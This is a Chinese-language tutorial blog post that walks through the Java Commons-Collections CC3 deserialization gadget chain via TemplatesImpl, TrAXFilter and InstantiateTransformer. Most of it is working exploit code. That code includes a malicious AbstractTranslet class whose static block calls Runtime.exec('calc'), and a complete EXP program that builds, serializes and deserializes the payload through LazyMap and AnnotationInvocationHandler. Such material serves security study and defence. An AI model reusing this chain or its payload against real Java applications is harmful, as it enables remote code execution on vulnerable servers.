Java反序列化CC3链

Java反序列化CC3链

链子分析

CC1和CC6都是直接命令调用,而CC3、CC2、CC4这些都是通过动态类加载来实现

TemplatesImpl解析

ClassLoader里面的loadclass

loadclass会调用findclass

findclass会调用到defineclass

1
2
3
4
5
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

这个意思是从字节里面加载一个类

我们需要找到一个调用它重写它的地方

最后找到

image

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

这里没有protect,也就是说可以被任意调用,然后可以看是哪里调用了这个

image

但是这个函数是私有的,我们反过去找看哪里是public,

image

这里有三个,我们依次看一下返回了什么

第一个

1
2
3
4
5
6
7
8
9
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}

返回了一个类

第二个

1
2
3
4
5
6
7
8
9
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}

返回了一个下标

第三个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

给class赋完值之后调用了一个newInstance()​,而newInstance()​是一个初始化的过程,也就是说走完这个函数,就可以进行一个命令执行,那么可以重点关注一下这个函数

于是通过这个函数再往回找,找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

这个函数是一个public

会调用getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在这个里面_class[_transletIndex]​调用newInstance()

_class​的赋值是在defineTransletClasses()​做的

1
2
3
4
5
6
7
8
9
10
11
12
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

_class​的赋值通过loader.defineClass​加载

那么这条链就可以写一下了

image

TemplatesImpl利用

先看一下TemplatesImpl​这个类,继承了两个接口Templates, Serializable​,可以直接序列化

那么我们就可以先new一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.*;

public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

然后继续看TemplatesImpl​,看哪些需要赋值

getTransletInstance()​这个函数

image

首先要保证_name​ 不为空 , _class​为空,看一下默认值

image

再看一下defineTransletClasses()

image

如果_bytecodes​是空就会报异常,所以_bytecodes​要赋值

_tfactory​要调用方法,所以这个也要赋值

于是我们通过反射先给这三个参数赋值

首先_name​赋值

1
2
3
4
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");

然后_bytecodes​赋值,先看一下是什么类型

image

再看一下类加载的逻辑

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

也就是说它传的是一个一维的byte数组,可以这样赋值

1
2
3
byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));  
byte[][] codes = {evil};
bytecodes.set(templates,codes);

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

之后编译一下,放到对应路径下

最后是_tfactory​赋值

image

这是一个transient,也就是一个不可以序列化的变量

在readObject方法中对这个属性赋值了

image

ok,然后写一下对应赋值代码

1
2
3
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

这时候预期是会弹计算器,我们运行一下试试

image

报了一个空指针错误,是在422行

看一下defineTransletClasses

下一个断点

image

image

在这里它进行了一个父类的判断 判断它父类是不是这个 ABSTRACT_TRANSLET

不是的话会调用下面 _auxClasses.put

那么现在就有两种方法

  • 要么 让它父类 equals ABSTRACT_TRANSLET
  • 要么 让 _auxClasses 不为null
    但是我们注意到下面也有一个判断
1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1 也不得行 还会报错

因此我们应该满足 构造的那个类 父类是 ABSTRACT_TRANSLET

image

是 abstract抽象类,因此我们也要重写这个类的方法

image

还有一个tanslate

修改完的Test.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

再执行代码成功弹出计算器

image

CC1+TemplatesImpl

这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer()

再回顾一下CC1的链子

image

如果说只过滤了Runtime,那后半段就可以用今天学的这种方式做

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

ysoserial

分析

image

我们利用这个 TemplatesImpl加载恶意类 是通过TemplatesImpl.newTransformer()

我们还可以再往上找找,看有没有什么地方调用了 newTransformer()

image

首先Process是在main里面写的,是作为一般对象用的,所以不用它

然后getOutputProperties​,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用

TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参

至于TrAXFilter,虽然它也是不能序列化的,但是它的构造函数可以传

image

所以CC3的作者找到了InstantiateTransformer​这个类

关键代码如下

image

意思就是判断传进来这个参数是不是Class类型的,如果是,就获取指定参数类型的构造器,调它的构造函数

看一下它的参数

image

那么就可以修改写出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer", null, null)
// };
//
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

image

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

image

这里有一个点要注意一下,就是不能直接将LazyMap.decorate​里直接换成instantiateTransformer

还是CC1遇见的不可控的问题,所以要用chainedTransformer​包裹起来


Java反序列化CC3链
http://example.com/post/java-deserialize-cc3-chain-2ngulq.html
作者
Dre4m
发布于
2025年9月15日
许可协议